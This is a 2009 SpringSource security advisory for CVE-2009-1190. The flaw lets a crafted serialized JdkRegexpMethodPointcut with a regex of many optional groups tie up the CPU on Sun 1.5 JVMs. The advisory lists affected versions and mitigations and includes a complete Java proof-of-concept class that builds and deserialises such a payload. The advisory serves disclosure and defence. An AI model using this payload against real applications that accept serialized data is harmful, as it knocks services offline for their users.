CVE-2009-1190: Spring Framework Remote Denial of Service Vulnerability
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
CVE-2009-1190: Spring Framework Remote Denial of Service Vulnerability
Severity: Low
Vendor: SpringSource
Versions Affected:
Spring Framework 1.1.0-2.5.6, 3.0.0.M1-3.0.0.M2
dm Server 1.0.0-1.0.2 (note 2.x not affected since dm Server 2.x requires a 1.6
JDK)
Description:
The j.u.r.Pattern.compile method in Sun 1.5 JDK has a problem ([1],[2]) with
exponential compilation times, when using optional groups. A workaround [3] was
implemented in 1.4.2_06 but the root cause of poor performance in regex
processing was not resolved until JDK 1.6.
JdkRegexpMethodPointcut calls Pattern.compile(source[i]); via it's inherited
readObject method (from AbstractRegexpMethodPointcut). When Sun JVM 1.5 driven
application with spring.jar in its classpath accepts serializable data, an
attacker could use a long regex string with many optional groups to consume
enormous CPU resources. And, with a few requests all listeners will be occupied
with compiling regex expressions forever.
Mitigation:
* Users of all products may upgrade to JRE/JDK 1.6 which includes the fix for
the root cause
* Spring Framework 2.5.6.SEC01 has been released for Community users that
includes a workaround to the root cause - see[4] for upgrade steps
* Spring Framework 2.5.6.SR02 is available for Enterprise users that includes a
workaround to the root cause; The software can be found in the Customer Portal
[5]
* Disable functionality that accepts serializable data from untrusted sources
* Spring Framework 3.0.0.M3 will be released shortly that includes a workaround
to the root cause
* dm Server 1.0.2 Community users may replace the Spring Framework 2.5.6 jar
with 2.5.6.SEC01 - see[4] for upgrade steps
* dm Server 1.0.3 that includes a workaround to the root cause will be released
shortly
* Instrumented Spring Framework 2.5.6.SR02 that includes a workaround to the
root cause will be released by April 27, 2009
Example:
public class DoSSpring {
static byte[] getSerialized(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.flush();
oos.close();
return baos.toByteArray();
}
public static void main(String[] a) throws Exception{
String thePattern="(Y)?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)" +
"?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)?(K)" +
"?(W)?(I)?(U)?(a)?$";
String longerPattern =
thePattern.substring(0,thePattern.length()-1)+thePattern;
int length = longerPattern.length();
String fakePattern = longerPattern.replaceAll(".", "A");
JdkRegexpMethodPointcut jrmp = new JdkRegexpMethodPointcut();
jrmp.setPattern(fakePattern);
System.out.println(jrmp);
byte[] theArray = getSerialized(jrmp);
int i = 0;
for (; i < theArray.length;i++) {
if (((char)theArray[i])=='A' &&((char)theArray[i+1]=='A')) {
break;
}
}
System.arraycopy(longerPattern.getBytes(), 0, theArray, i, length);
ByteArrayInputStream bis = new ByteArrayInputStream(theArray);
ObjectInputStream ois = new ObjectInputStream(bis);
Object o = ois.readObject(); // returns after a very very long time
}
}
Credit:
This issue was discovered by the RedHat Security Response Team
References:
[1]
http://www.packetstormsecurity.org/hitb06/DAY_1_-_Marc_Schoenefeld_-_Pentesting_Java_J2EE.pdf
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2540
[3] http://archive.cert.uni-stuttgart.de/uniras/2005/01/msg00035.html
[4] http://www.springsource.com/securityadvisory
[5] http://www.springsource.com/spring_account_file
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32)
iEYEARECAAYFAknxfZcACgkQb7IeiTPGAkMX0gCdGsE5fqOd0PcMdcYrLTwyejGp
4p0An1Dwr9T+WsCwytVrztkskexVw84T
=zBj5
-----END PGP SIGNATURE-----